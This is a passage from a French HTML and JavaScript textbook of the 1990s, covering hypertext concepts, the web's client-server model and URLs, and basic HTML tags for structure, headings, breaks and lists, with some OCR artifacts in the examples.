 Chapitre 2

L'hypertexte

On pourrait définir l'hypertexte comme un système qui relie par des liens activables des
éléments d'information.
Ce principe est en partie apparu avec l'édition et la consultation de textes sur un écran
d'ordinateur. La taille limitée de ces écrans, inférieure à une page imprimée, le passage
d'un écran au suivant plus lent que l'action de tourner une page, et la constatation qu'à
un moment donné, le lecteur n'a besoin que d'une faible portion de l'information, ont fait
naître un système à base de boutons, où un clic sur une partie du texte remplace celle-ci
par un ensemble plus détaillé.
La pratique de la lecture sur des médias imprimés constitue la base des pratiques d'écri­
ture hypertextuelle et la métaphore de la page sera souvent employée. Dans le document
électronique, cette page pourra avoir en longueur l'élasticité que lui donne l'ascenseur1
permettant le défilement du texte dans sa fenêtre.
L'auteur d'un document hypertexte sera tenté d'utiliser les mêmes divisions et la même
présentation (chapitres, notes, etc.) que lorsqu'il rédige un document destiné à l'impres­
sion. Effectuons tout d'abord un rappel sur l'organisation des documents imprimés dans
les types ou formats les plus courants :

1. On appel ascenseur la facilité, apparue avec les interfaces graphique, de faire dérouler
un texte dans une portion d'écran, la fenêtre, à l'aide d'un curseur que l'on déplace en
faisant glisser la souris.

11
 Programmation HTML et JavaScript

Le livre
On accède généralement à un tel ouvrage par la première page, la lecture se poursuivant
dans l'ordre chronologique des pages ; le seul déroutement dans la lecture est introduit
par les notes de bas de page. Le document se suffit à lui-même, et il n'y aura en principe
pas d'accès nécessaire à d'autres ouvrages (éventuellement, on aura recours à un diction­
naire).

Figure 3 - Accès séquentiel ou linéaire d'un document

Le document technique
Prenons l'exemple de la documentation du traitement de texte Word. A l'exception du
manuel d'initiation, il est rare qu'on lise les divers volumes comme un roman. C'est au
cours de l'utilisation du traitement de texte que l'on va consulter, selon ses besoins le
manuel de référence, celui de l'éditeur d'équations ou encore le fascicule traitant des gra­
phes.
L'accès à l'information va se faire en choisissant d'abord le volume, puis on orientera sa
recherche en consultant soit la table des matières, soit l'index pour naviguer1 dans le
document. On sera aussi peut-être amené à consulter un glossaire ou diverses annexes
afin de compléter la réponse attendue. Une telle structure de document est dite hiérarchi­
que ou arborescente ; sa consultation est plus difficile lorsqu'on travaille sur une édition
“papier” que lorsqu'il s'agit d'un document électronique. Ce type de document sera un
très bon candidat à une présentation hypertextuelle.

1. Navigation est devenu le terme consacré pour illustrer l'action de se déplacer dans un
système d'hypertexte.

12
L'hypertexte

Figure 4 - Structure hiérarchique d'un document

Le journal

Ce type de document correspond à un besoin différent. Nous allons l'étudier, car il est
intéressant d'analyser la similitude entre la première page, la “une” d'un journal, et la
home page, ou page d'accueil, d'un service sur le Web.
La première page d'un journal est conçue pour répondre aux critères suivants :
• identifier le journal (logotype, typographie, mise en page),
• attirer l'œil (couleur, iconographie),
• donner envie d'acheter le journal pour poursuivre la lecture.

13
 Programmation HTML et JavaScript

Figure 5 - Liaison des articles dans un journal

On peut lire un journal ou une revue en commençant les articles de première page et con­
tinuer la lecture des pages suivantes, en revenant ensuite éventuellement vers la première
page pour choisir un nouvel article.

Notions d'hypertexte
Dans les deux derniers types de documents décrits, apparaît le principe de liens entre
divers éléments de texte non contigus (une flèche en pointillé représentant les liens à
l'intérieur du document, une flèche en trait plein pour des liens externes au document).
Dans une forme “papier” des documents, on exécute ces liens en tournant des pages ou
en allant chercher sur des rayons des livres au gré des références, notes de bas de page ou
autres renvois rencontrés dans la lecture. Il sera chaque fois nécessaire de préserver le
retour au point d'interruption de la lecture en marquant la page par un signet. Dans un
document électronique, on ira consulter ces liens en cliquant sur un repère spécial ; la
sauvegarde du point de retour devra être assurée par une mémoire du système.
On peut considérer qu'hypercard sur Macintosh fut un des premiers systèmes d'hyper­
texte. On rencontre maintenant des documents hypertexte dans divers environnements :
• sur les CD-Rom où ils sont réalisés avec des logiciels comme Director ou Acrobat,
• dans la documentation en ligne sur les ordinateurs (réalisée avec FrameMaker par
exemple sur les stations Unix),
• dans la présentation assistée par ordinateur (PowerPoint),
• sur l'Internet, où l'on peut fabriquer de tels documents à l'aide du langage HTML.
La rapidité de déplacement (un simple clic de souris) à l'intérieur du document et la faci­
lité de retour en arrière (mémoire) permettent une conception nouvelle de la
documentation : les pages sont courtes (tenant sur un écran d'ordinateur), vont à l'essen­
tiel, et on offre aussi souvent que nécessaire l'explication d'un mot ou d'un concept en
lui attribuant un lien vers une autre partie du document ou vers un autre document. Cette

14
L'hypertexte

autre partie peut être un document rédigé par un auteur différent sur un sujet différent.
Par exemple, dans un document sur Léonard de Vinci, on trouve un lien vers un docu­
ment touristique sur Florence.
La première page du document ressemble donc plus à une table des matières où chacun
des titres de chapitre est un lien vers le chapitre lui-même. Si le document est complexe
(type de document technique), on peut introduire dans la première page une zone de dia­
logue, dans laquelle le lecteur peut entrer un mot que le système utilisera pour lancer un
moteur de recherche automatique dans le document (lien exécutable), et présenter alors
une nouvelle page où seront indexées, en liens hypertexte, toutes les occurrences rencon­
trées.

Ecrire de l'hypertexte
S'il ne possède pas de véritable logiciel de traitement d'hypertexte, l'auteur peut se tour­
ner vers son traitement de texte et concevoir un document selon le schéma habituel. Il
peut ensuite tenter une transformation du texte linéaire en hypertexte soit à la main soit
avec un logiciel de conversion. Cette méthode très tentante permet de produire simulta­
nément deux versions du document : une version imprimable et une version hypertex-
tuelle.

Du multimédia pour le Web

Pour le Web, on recommande souvent d'offrir une version imprimable (généralement en
PostScript ou en PDF ) d'un document hypertexte. Si ce document est un manuel techni­
que ou une publication scientifique, il est inutile de se priver de l'aide d'un convertisseur.
Mais, traduire directement la plaquette institutionnelle de son entreprise, c'est se priver
de toute la richesse que peut apporter un document pensé dans un mode hypertexte
(films, sons, navigation à l'aide de boutons, etc.). Ne travailler qu'à l'aide d'un convertis­
seur de texte, c'est aussi perdre de vue l'interactivité apportée par les formulaires et
l'accès aux scripts sur les serveurs Web.
La réalisation de pages pour le Web procède aussi d'un assemblage de matériels issus de
divers logiciels : logiciels de dessin (vectoriel et bitmap), logiciels d'acquisition d'ima­
ges (fixes ou animées) et de sons, traitements de texte, logiciels d'écriture de program­
mes informatiques, etc., qui seront étudiés par la suite.

15
 Programmation HTML et JavaScript

RÉSUMÉ

Ce chapitre de généralités sur l'hypertexte introduit la notion impor­

tante de liens :
Un lien définit une relation entre deux éléments d'information :
• un élément sensible au clic de la souris - une lettre, un mot, un groupe
de mots, une image ou une portion d'image. Cet élément est généra­
lement signalé à l'attention du lecteur par un attribut visuel.
• sa cible, qui peut être du texte "plat", un autre document hypertexte,
une image, un film ou un son.
On distingue plusieurs types de liens :
• lien interne : référence à une partie se trouvant à l'intérieur du même
document.
• lien externe : référence vers un autre document.
• lien exécutable : lien externe déclenchant un programme informati­
que de traitement de données en réponse à une action effectuée par
le lecteur de manière interactive.
Les liens sont la base du Web. La cible ou l'extrémité d'un lien peut se
trouver sur n'importe quel ordinateur de la planète.

16
 Chapitre 3

HTML,
son environnement

Qu'est-ce que HTML ?

HTML - HyperText Markup Language - est un langage simple utilisé pour créer des
documents hypertexte pour le Web. Ce n'est pas un langage de description de page tel
que PostScript ; HTML ne permet pas de définir de façon stricte l'apparence d'une page.
De plus, la présentation de la page peut être dépendante du browser utilisé et des options
de paramétrage du lecteur.
HTML est une implémentation relativement simple de SGML (Standard Generalized
Markup Language).
Comme tout langage, il est en constante évolution. La version en cours est la version 3.2,
mais il existe déjà un projet pour la version 4.
Sa simplicité est telle qu'il n'est pas nécessaire d'utiliser un éditeur particulier. Sa grande
permissivité demande de la rigueur et de l'attention dans l'écriture des documents afin
que ceux-ci s'affichent correctement quels que soient le contexte et le browser utilisé.

17
 Programmation HTML et JavaScript

Dans quel contexte s'exécute HTML ?

Le cadre d'exécution du Web et de son langage HTML est celui d'un modèle client-ser­
veur véhiculé sur un réseau informatique comme le réseau Internet.

Figure 6 - Clients-serveurs Web

• Le client, ou browser : c'est un logiciel de consultation s'exécutant sur tous les types
de plates-formes (Macintosh, station Unix, PC). Il dialogue avec un serveur selon un
protocole1 spécifique (HTTP, HyperText Transfert Protocol), qui va lui fournir
l'information structurée en code HTML. C'est ce client qui a en charge l'exécution
de ce code (le langage source) et qui produira l'affichage du document.
Le client peut s'entourer d'éléments périphériques pour afficher des documents dont
il n'est pas capable d'utiliser le format. C'est le cas pour les films, le son et divers for­
mats d'images dont le format PostScript fait partie.
Les clients les plus connus sont Netscape et Internet Explorer.

• Le serveur : ce logiciel est en permanence à l'écoute des requêtes que vont formuler
les clients. Il en vérifie la validité, s'assure que la demande émane d'un client autorisé
à accéder au document, et lui envoie finalement textes et images avant de clore la
connexion2. Dans le cas d'un lien exécutable, le serveur active un programme dont la
sortie sera du code HTML. Ce programme peut être par exemple un module d'inter-
façage avec une base de données.
Un serveur peut être sollicité à chaque instant. Il est donc important que la machine
qui l'accueille soit toujours disponible et présente sur le réseau. Bien que l'on trouve
des logiciels serveurs pour toutes les plates-formes (y compris Macintosh et PC),

1. Un protocole est un ensemble de régies et de messages régissant le dialogue entre deux

processus informatiques.
2. Il est important de savoir qu'avec le Web, lorsque l'on se connecte à un serveur, la con­
nexion établie ne dure que le temps de l'envoi de la page demandée. Pour chaque page
demandée au même serveur, on recommence la procédure de connexion.

18
HTML, son environnement

dans la majorité des cas ceux-ci seront implantés sur des stations de travail (Unix ou
Windows NT principalement). La puissance de ce type d'ordinateurs permet d'accep­
ter simultanément un grand nombre de requêtes.
Les logiciels serveurs couramment utilisés sont ceux qui sont fournis gratuitement
par le CERN, le NCSA, ou APACHE. Dans la terminologie Unix, on les appelle
démons (HTTPD, HyperText Transfert Protocol Daemon)

Le protocole d'adressage des documents - l'URL

Interconnecter des documents sur toute la planète implique un moyen unique de les iden­
tifier sur le réseau Internet. L'adresse d'un document, appelée URL, Uniform Resource
Locator se compose à l'aide des éléments suivants :
• le protocole d'échange entre le client et le serveur. A ce stade, le seul protocol que
nous ayons rencontré est HTTP ; nous verrons plus tard qu'il en existe d'autres ;
• l'adresse Internet du serveur qui diffuse les documents. Cette adresse unique sur tout
le réseau est l'adresse TCP/IP de la machine. Elle a la forme d'une suite de nombres
telle que [Link] ; comme ces nombres ne sont pas facilement mémorisables,
un annuaire (DNS) résout généralement la relation adresse numérique, nom de la
machine (exemple : [Link] est l'adresse de la machine [Link], four-
viere représente le nom de la machine et .[Link] le nom du domaine) ;
• l'arborescence des répertoires (le chemin) qui conduit au document ;
• le nom du document qui aura toujours l'extension .html ou .htm.
Moins fréquemment, cette adresse pourra être complétée par d'autres éléments :
• le port1;
• des informations d'authentification (username et password) ;
• des arguments qui seront passés à un programme lors de l'appel de liens exécutables.
La syntaxe minimale utilisée pour représenter l'URL d'un document est la suivante :

protocole://nom_du_serveur/

Lorsqu'aucun nom de fichier n'est précisé, on arrive sur le fichier par défaut du serveur,
habituellement la home-page.
La syntaxe que l'on rencontre couramment est :

protocole://nom_du_serveur/repertoire/sous-repertoire/nom_du_document

1. Dans le réseau TCP/IP, les différents services du réseau sont identifiés par un numéro.
Par défaut, le numéro de port attribué à HTTP est 80. Mais, lors de l'installation du
logiciel, il est possible de choisir un autre numéro. Dans ce cas, il devra explicitement
être indiqué dans l'URL du document.

19
 Programmation HTML et JavaScript

La syntaxe complète est :

protocole://username;password@nom_du_serveur:port/sous-repertoire/
nom_du_document?arguments

On remarque, dans certaines adresses, la présence d'un tilde (~) devant le nom d'un
répertoire. Il s'agit de home-pages personnelles, possibilité offerte aux utilisateurs ayant
un compte sur la machine serveur.

Exemples d'URL :

[Link]
[Link]
[Link]
[Link]

Où sont stockés les documents HTML ?

Sur un disque de la machine serveur. Il appartient à l'administrateur du système de faire
connaître l'organisation des répertoires qu'il a choisie, et de donner les droits nécessaires
pour que les personnes autorisées puissent y déposer leurs fichiers (textes, images, etc.).
Lorsque le fichier est placé dans le répertoire, il faut que celui-ci soit en lecture pour tout
le monde.
Remarquez, dans l'exemple de la figure 8, concernant un serveur sur une machine Unix,
que le "top niveau" de l'espace disque du serveur n'est pas le "top niveau" de l'espace
disque réservé au serveur.

Figure 7 - Localisation des fichiers du serveur dans une machine Unix

20
HTML, son environnement

Quelles protections pour les documents ?

L'accès à un document (ou à un ensemble de documents) peut être réduit grâce à un sys­
tème de protection développé pour le Web. Il ne faut pas confondre les protections Unix
du fichier et celles du Web : au sens Unix, on permettra toujours la lecture et éventuelle­
ment l'exécution du fichier ; au sens Web, le système permettra d'autoriser la lecture
d'un document :
• aux lecteurs enregistrés, ayant un username et un password. Il ne s'agit pas dans ce
cas d'avoir un compte (au sens Unix) sur la machine serveur. Le système de protec­
tions des serveurs Web permet d'enregistrer des utilisateurs qui auront accès à des
documents protégés ;
• aux lecteurs accédant depuis un domaine particulier (au sens TCP/IP) ;
• aux lecteurs accédant depuis une machine particulière.
RESUME

HTML est un langage permettant de décrire la structure et la présen­

tation des documents pour le Web.
Ce chapitre définit l'environnement client-serveur dans lequel s'exé­
cute ce langage.
Le protocole d'échange des données entre le serveur et les clients
s'appelle HTTP.
L'adresse unique d'un document Web est appelée l'URL du docu­
ment.
Les fichiers ou documents que diffuse le serveur sont stockés dans
des répertoires du serveur.
Il existe un système de protection des fichiers propres au Web. Il com­
porte plusieurs niveaux de protections.

21
Le langage HTML
 Chapitre 4

Structure

Les balises
Dans le chapitre précédent, nous avons défini le langage HTML comme un langage per­
mettant de décrire la structure d'un document Web. Pour ce faire, il faut encadrer cha­
cune des différentes structures du texte par une paire de balises, une au début et une autre
à la fin. Ces balises seront bien sûr invisibles au moment de l'affichage du document.
Dans un traitement de texte, lorsque l'on veut mettre un mot en gras, on sélectionne les
caractères, puis on clique généralement sur une petite icône qui a pour effet de les faire
passer dans la graisse choisie. De façon interne et sans que cela apparaisse à l'écran, le
traitement de texte inscrit dans le fichier un code indiquant qu'une zone en caractères
gras commence, puis viennent ensuite les caractères en question ; enfin un nouveau code
indique le retour aux caractères standard.
Ce sont ces codes que l'on appelle des balises. Dans le langage HTML, la gestion des
balises est à la charge de l'auteur.
Les balises sont délimitées par les signes < (inférieur à) et > (supérieur à). Un texte balisé
aura donc cette apparence :

...texte courant <balise>texte affecté par la balise</balise> suite du texte ...

Remarquez le caractère / dans la balise de fin.

Voici un exemple de saisie pour passer un groupe de caractères en gras dans le langage
HTML (utilisation de la balise <B> pour bold ou gras) :

texte maigre <B>texte gras</B> texte maigre

25
 Programmation HTML et JavaScript

Voici l'affichage correspondant :

texte maigre texte gras texte maigre

Si l'on veut utiliser les deux caractères <> dans le texte courant, il faudra trouver un arti­
fice afin que le browser ne tente pas de les interpréter comme balises. On les remplacera
par leurs entités HTML équivalentes :

le caractère > sera remplacé par &gt;

le caractère < sera remplacé par &lt;

Ainsi,

Les signes &lt; et &gt; délimitent les<b>balises</b> HTML

produira dans la fenêtre du browser :

Les signes < et > délimitent les balises HTML

Le texte à l'intérieur des balises peut être indifféremment en majuscules ou en minuscu-

<a> ou <A> sont strictement équivalents.

L'accentuation
L'enregistrement des fichiers contenant les documents HTML est effectué sur la machine
serveur en code ASCII 7 bits1, ce qui ne permet pas d'accentuer directement le texte. On
utilisera donc des mots-clés pour tous les caractères accentués et autres symboles, de
façon identique au traitement des caractères <> décrits au paragraphe précédent.
L'annexe Caractères accentués, symboles, page 439 donne les codes des mots-clés
pour l'alphabet ISO Latin 1.
Ainsi, la phrase

" Le Naïf " a déjà été créé au théâtre français.

sera codée en HTML par :

1. Le code ASCII 7 bits définit sur les 7 bits de poids le plus faible d'un octet un jeu de
128 caractères incluant les chiffres, les minuscules, les majuscules, un certain nombre
de signes ainsi que des caractères de contrôle non imprimables. Le huitième bit sert au
contrôle de parité pour valider l'exactitude de la transmission. Il ne reste pas assez de
place dans ce code pour représenter les caractères accentués.

26
Structure

"" Le Na&iuml;f" a d&eacute;j&agrave; &eacute;t&eacute; cr&eacute;&eacute; au

th&eacute;&acirc;tre fran&ccedil;ais.

Structuration du document HTML

<HTML>
Tous les documents HTML commenceront par la balise <HTML> et se termineront par
la balise </HTML>.
La structure de premier niveau du document aura donc la forme suivante :

<HTML>
Corps du document

</HTML>

<HEAD>
Le titre du document, les scripts JavaScript seront généralement inclus dans une zone de
prologue ou d'en-tête : <HEAD>. Cette zone se termine par </HEAD>. Nous verrons par
la suite que nous pouvons trouver d'autres termes dans cette zone d'en-tête.

<HTML>
<HEAD>
prologue
</HEAD>
Corps du document

</HTML>

<TITLE>
Un texte qui apparaît dans la zone titre du browser est défini par <TITLE>. Il faut noter
que ce titre est souvent négligé au détriment d'une zone de titre enrichie d'images et de
logos, que l'auteur situe au début du document. Le titre défini entre les balises <title> et
</title> a, outre un caractère informatif, au moins deux raisons d'être soigné :
• C'est ce texte qui sera stocké dans le fichier bookmark1 que gère le browser pour le
compte du lecteur. On préférera donc un texte du style « Bienvenue au CNRS » à
« Bienvenue », qui ne sera jamais capable de fournir une indication pertinente sur la
destination.
• Dans un contexte XWindow, lorsque l'on "iconifie" la fenêtre, c'est ce titre qui sera
pris comme nom par l'icône.

1. Ce fichier permet, lorsqu'on est connecté à un document, de conserver son URL dans
un fichier de type annuaire afin de pouvoir s'y connecter ultérieurement d'un simple
clic.

27
 Programmation HTML et JavaScript

Le titre doit être suffisamment court pour tenir entièrement dans l'espace que le browser
lui réserve, sous peine d'être tronqué et ainsi de perdre son sens.

<HTML>
<HEAD>
<TITLE>Bienvenue au CNRS</TITLE>
</HEAD>
Corps du document

</HTML>

<BODY>
Entre <BODY> et </BODY> réside tout le reste du document. Nous verrons par la suite
(voir <BODY> pour le décor !, page 92) que des extensions permettent de compléter
l'utilisation de cette balise.

<HTML>
<HEAD>
<TITLE>Bienvenue au CNRS</TITLE>
</HEAD>
<BODY>
document

</BODY>
</HTML>

Ce dernier exemple donne la structure minimale que doit posséder tout document
HTML. Dans ces exemples, on a présenté le code HTML en décalant les divers niveaux
de la structure. Cette indentation n'est pas obligatoire, mais elle est fortement recomman­
dée afin de faciliter la lecture et la maintenance du code source. Les browsers qui exécu­
tent le code HTML ne tiennent pas compte des retours à la ligne et l'on aurait très bien
pu écrire le code de la façon suivante, qui aurait produit le même affichage dans le brow-

28
Structure

<html><head><title>Bienvenue au CNRS</titlex/head>
<body>
document
....</body></html>

<ADDRESS>
Le bloc adresse est un élément prévu pour indiquer toute information concernant l'auteur
du document (adresse, téléphone, e-mail, etc.). Il peut être inséré à n'importe quel
endroit du document ; l'habitude sur le Web est de mettre cette zone adresse à la fin du
document. Les browsers affichent généralement le texte compris entre les balises
<address> et </address> en italique.

Exemple :

<address>
Jean DUPONT - T&eacute;l 78-90-12-34 - e-mail dupontj@[Link]
</address>

<!-- Commentaires -->

Tout texte commençant par <!-- et se terminant par --> ne sera pas interprété par le brow­
ser, donc pas affiché. Cela sert à l'auteur du document pour commenter son fichier
source.
Exemple :

<!-- Document à ne diffuser qu'aux machines appartenant au domaine

.[Link] -->

Attributs d'une balise

Nous verrons, au cours de l'étude des différentes balises HTML, que certaines peuvent
admettre des attributs, chacun d'eux pouvant avoir une valeur. Au niveau syntaxique, le
premier attribut est séparé de la balise par un espace, ainsi que les attributs entre eux.
Si l'attribut doit prendre une valeur, elle est spécifiée après le signe = (égale) suivant
l'attribut.
La valeur de l'attribut sera écrite entre guillemets (") si cette valeur est alpha-numérique.

<balise attribut_1 =numerique attribut_2="alpha-numerique">

Exemple :

<pre width=50>
<a href="/home/[Link]">

29
 Programmation HTML et JavaScript

Le document HTML minimum

Nous avons maintenant défini suffisamment d'éléments de structure du langage HTML
pour lister l'ossature type que nous trouverons toujours dans un document HTML :

<HTML>
<!-- Squelette HTML -->
<HEAD>
<TITLE>Emplacement du titre</TITLE>
</HEAD>
<BODY>
Document

<ADDRESS>
Jean Dupont - dupont@[Link]
</ADDRESS>
</BODY>
</HTML>

Tester les documents HTML

La finalité d'un fichier contenant un document HTML est son installation dans les réper­
toires du serveur afin qu'il soit offert à la consultation. Ce n'est pas envisageable pendant
la phase d'apprentissage du langage ou pendant la mise au point d'un document.
On éditera1 donc ces fichiers HTML de test et on les stockera dans un répertoire person­
nel si l'on travaille sur une machine Unix, ou dans un dossier de test si l'on travaille sur
un PC ou un Macintosh.

1. On pourra utiliser n'importe quel éditeur : TeachText comme Word feront l'affaire sur
un Macintosh ; cependant, si l'on prend un traitement de texte évolué comme Word, on
aura soin de sauvegarder le fichier en format "TEXT".

30
Structure

Il suffit que soit installé sur cette machine d'apprentissage un logiciel client comme
Netscape. Il n'est absolument pas nécessaire pendant cette période d'avoir accès à un
serveur Web ni même d'être connecté au réseau.
En effet, les browsers offrent la possibilité d'ouvrir et d'interpréter un fichier local. Il
suffit de cliquer sur le menu déroulant File du browser et de sélectionner l'option Open
file. On reçoit alors une nouvelle fenêtre permettant de sélectionner le fichier à tester.

Méthode de travail
Voici les étapes à suivre pour tester les fichiers HTML avant de les installer dans les
répertoires du serveur :

• appeler l'éditeur de texte

• écrire le code html,
• enregistrer sous un nom avec le
suffixe .html,
• appeler le browser Netscape par
exemple,
• utiliser le menu Open file,
• sélectionner votre document,
qui s'affichera dans le browser.

Si vous n'êtes pas satisfait...

• retourner dans l'éditeur de texte

sans quitter le browser,
• corriger ou modifier votre code
html,
• utiliser la commande reload et
juger vos modifications.

31
 Programmation HTML et JavaScript

RÉSUMÉ

HTML est un langage balisé où chaque balise s'inscrit entre les carac­
tères < (inférieur à) et > (supérieur à). Les balises peuvent avoir des
attributs spécifiant éventuellement des valeurs ou des caractéristiques.
On ne peut pas saisir des caractères accentués directement au
clavier ; il faut les remplacer par les codes HTML équivalents ; il en va
de même pour certains symboles. Les délimiteurs pour ces codes sont
le caractère & (et commercial) au début du code et le caractère ; (point
virgule) à la fin. Ainsi &eacute; signifie é (e accent aigu).
Les éléments de structure définis dans ce chapitre sont de deux
sortes :
Obligatoires
• <HTML> premier élément encadrant tout le fichier HTML
• <HEAD> zone d'en-tête
• <TITLE> définition d'un titre
• <BODY> corps du document
Optionnels
• <ADDRESS> bloc d'information sur l'auteur du document
• <!--Commentaires---> commentaires

32
 Chapitre 5

Divisions

Tout texte technique ou scientifique est habituellement divisé selon des paragraphes
subissant une numérotation hiérarchique du type 1.1.1, 1.1.2, 1.1.3, 1.2.1, etc. La plupart
des traitements de texte gèrent ces formats de numérotations automatiques en affectant la
taille des caractères d'un titre en fonction de son niveau dans la hiérarchie.
Dans HTML, encore une fois, tout est à la charge de l'auteur. Celui-ci dispose de six
grosseurs de titre qui vont lui permettre de diviser son document et d'un système de liste
(voir Listes, page 39)

<Hn>
C'est la balise affectant la taille des caractères dans laquelle n varie de 1 à 6. Les plus
gros ont la valeur 1 et les plus petits la valeur 6. Le texte entre ces balises est traité en
caractère gras.
La balise de début et la balise de fin génèrent automatiquement un espace de type nou­
veau paragraphe (passage à la ligne avec espace correspondant environ au saut d'une
ligne).

<h1>Po&egrave;mes de Georges Brassens</h1>

<h2>Les Lilas</h2>
Quand je vais chez le fleuriste<br>
je n'ach&egrave;t' que des lilas<br>

<h4>Georges Brassens</h4>

33
 Programmation HTML et JavaScript

<BR>
Lorsqu'ils exécutent du code HTML, les browsers traitent le texte au kilomètre dans la
largeur de leur fenêtre et ignorent le découpage en ligne tel qu'il existe dans le fichier
source. La longueur des lignes sera donc fonction de la taille que fixe le lecteur en
dimensionnant la fenêtre de son browser. Il appartient à l'auteur du document de provo­
quer, lorsqu'il le souhaite, un passage à la ligne. La balise <BR> qui génère ce passage
est une balise vide, c'est-à-dire qu'il n'y a pas de balise de fin (</BR> ne s'utilise pas).

Quand je vais chez le fleuriste<br>je n'ach&egrave;t' que des

lilas<br>
Si ma chanson
chante triste<br>C'est que l'amour n'est plus l&agrave;.
<h4>Georges Brassens</h4>

Le retour à la ligne derrière « Si ma chanson » sera ignoré par le browser. En revanche

l'absence de balise <BR> derrière « ...l'amour n'est plus là. » n'est pas gênante car la
balise <H4> va provoquer un retour à la ligne et un espacement interparagraphe.

34
Divisions

<P>
La balise <P> provoque le passage au paragraphe suivant. Nous verrons par la suite que
cette balise peut être comptée par de nombreux attributs. Tout comme <BR>, cette balise
est généralement considérée comme une balise vide, bien qu'il soit tout à fait valide de
terminer un paragraphe par </P>.
<P> est différent de <BR> : elle provoque un passage à la ligne et décale la ligne sui­
vante d'un espace d'environ une ligne (espacement interparagraphe).

<h4>Le grand homme</h4>

Chez un tailleur de pierre<br>o&ugrave; je l'ai rencontr&eacute;<br>
il faisait prendre ses mesures<br>pour la post&eacute;rit&eacute;.
<p>Jacques Prévert

<HR>
C'est une balise de division graphique qui provoque un trait sur toute ou partie de la lar­
geur de la fenêtre du browser.

<h4>Le grand homme</h4>

Chez un tailleur de pierre<br>où je l'ai rencontré<br>
il faisait prendre ses mesures<br>pour la postérité.<hr>
<p>Jacques Prévert

D'autres attributs permettent de régler certains paramètres de cette balise :

35
 Programmation HTML et JavaScript

L'attribut SIZE
Il définit en pixels l'épaisseur du trait <HR SIZE=valeur>.

L'attribut WIDTH
Définit soit en pourcentage de la largeur de la fenêtre, soit en valeur absolue (pixels), la
longueur du trait <HR WIDTH=valeur>.
Exemple :
<HR WIDTH=30%>, <HR WITH=100>
L'attribut ALIGN
Dans le cas où l'on spécifie une longueur du trait inférieure à 100%, cela permet de posi­
tionner le trait dans la fenêtre <HR ALIGN=valeur>. Les valeurs possibles sont LEFT
(positionnement à gauche), RIGHT (positionnement à droite), CENTER (positionnement
au centre, valeur prise par défaut).

L'attribut NOSHADE
Permet de supprimer l'effet de relief du trait.

<PRE>
Cette balise permet de respecter la mise en page précise d'un texte ou d'une portion de
texte, de la façon dont elle a été définie dans le fichier HTML.
Le browser interprète ce texte préformaté à l'aide d'une police de caractères non propor­
tionnelle, ce qui autorise des alignements de type tableau.

<html>
<head><title>tableau pr&eacute; formatt&eacute;</title></head>
<body>
<h2> Exemple de tableau en texte pr&eacute;for
matt&eacute;(&lt;pre&gt;)</h2>
<pre>

I Lundi I Mardi I Mercredi I Jeudi I VendrediI

I I I I I I
I I I I I I

</pre>
</body>
</html>

36
Divisions

Les espaces consécutifs sont préservés à l'inverse du texte situé en dehors de ces balises
où plusieurs espaces sont compactés en un seul.
On n'utilisera pas de balise de mise en page dans un bloc préformaté (<br>, <p>, <h>,
etc.) et on évitera le caractère de tabulation. En revanche il est tout à fait permis d'ins­
crire des liens vers d'autres documents, (voir Créer des liens, page 59).
La balise <PRE> admet l'attribut WIDTH qui permet de fixer le nombre de colonnes
dans lesquelles se situe le texte non formaté (<pre width=40> par exemple). Si cet attri­
but est absent, la valeur prise par défaut est 80 colonnes. Cet attribut n'est pas interprété
par tous les browsers.

37
 Programmation HTML et JavaScript

RESUME

Les balises suivantes permettent de structurer le document par

l'adjonction de titres de diverses tailles et le réglage de la longueur des
lignes et des paragraphes :

<Hn> avec n = 1 à 6 où 1 est la taille maximale des caractères. Un

espacement vertical de type paragraphe est généré par ces balises.
<BR> force un retour à la ligne.
<P> déclenche le passage au paragraphe suivant.
<HR> permet de tracer un trait en travers de la page, avec différents
réglages rendus possibles par les attributs :
• SIZE règle l'épaisseur du trait (en pixels).
• WIDTH règle la longueur du trait soit relativement à la largeur de la
page (%) soir en valeur absolue (pixels).
• ALIGN positionne le trait à droite, à gauche ou au centre (RIGHT,
LEFT, CENTER) dans le cas où il est inférieur à la largeur de la page.
• NOSHADE supprime l'effet 3D du trait.
<PRE> permet de conserver le formatage du texte délimité par cette
balise tel qu'il a été saisi dans le fichier source HTML.

38
 Chapitre 6

Listes

La liste est un élément important dans la structuration d'un document ; elle permet
d'organiser tout ou partie d'un document pour le rendre perceptible au lecteur de la façon
la plus claire possible. Les listes pourront donc être utilisées pour diviser le document
aussi bien que pour effectuer des énumérations d'objets. Mais à l'inverse des traitements
de texte comme Word ou FrameMaker, il n'y a pas de numérotation automatique pour
des niveaux hiérarchiques différents :

est possible... n 'est pas possible automatiquement.

Figure 8 - Numérotation des paragraphes dans HTML

39
 Programmation HTML et JavaScript

HTML définit deux types de listes :

• des listes descriptives, de type glossaire,
• des listes régulières avec ou sans numérotation.

Liste descriptive

Figure 9 - Exemple de liste descriptive

<DL>
L'élément <DL> ouvre une liste descriptive. Il définit le début de la liste et englobe deux
autres balises (DT et DD), dont le rôle est de caractériser, de désigner chacun des élé­
ments, la partie définition et l'élément lui-même.
L'attribut COMPACT associé à la balise <DL> (<DL COMPACT>) permet à certains
browsers d'afficher sur la même ligne l'élément et la première ligne du bloc de descrip­
tion.
La fin de la liste sera caractérisée par la balise </DL>.

<DT>
L'élément <DT> précède chaque item de la liste, celui-ci ne devant pas excéder une
ligne. Il est à noter que le système de liste ne gère pas automatiquement la mise en relief
des caractères de l'item. Il appartient à l'auteur du document d'utiliser des balises de sty­
les (voir Styles, page 51 ) ou de titre (<Hn>) pour effectuer cette opération.
Cette balise est une balise vide.

40
Listes

<DD>
La balise <DD> correspond à la zone de définition de l'item. La taille de cette zone n'est
pas limitée et chacune des lignes sera décalée vers la droite. Cette balise est vide.
La structure de ce modèle de liste sera donc la suivante :

<DL>
<DT>ldentification de l'élément<DD>Description de l'élément
<DT>...<DD>...
</DL>

<html>
<head><title>Listes &lt;dl&gt;</titlex/head>
<body>
<h2> GLOSSAIRE (Exemple de liste de type d&eacute;finition
(&lt;dl compact&gt;) )</h2>
<dl compact>
<dt>ASCII<dd>Jeu de caract&egrave;res qui assigne des
valeurs num&eacute;riques standard aux lettres, chiffres et signes de
ponctuations.
<dt>EPS<dd>Format de description de fichiers PostScript, ou
PostScriptencapsul&eacute;.
<dt>POLICE<dd>Assortiment de styles que poss&egrave;de une
cat&eacute;gorie de caract&egrave; (gras,italique,etc...)
</dl>
</body>
</html>

L'attribut COMPACT
provoque pour l'item
EPS un compactage
sur la même ligne de
l'élément et de son
descriptif.
En remplaçant
<DL COMPACT>
par <DL>,
on normalise la pré­
sentation de tous les
items.

41
 Programmation HTML et JavaScript

Listes régulières

• cheval 1. Livres
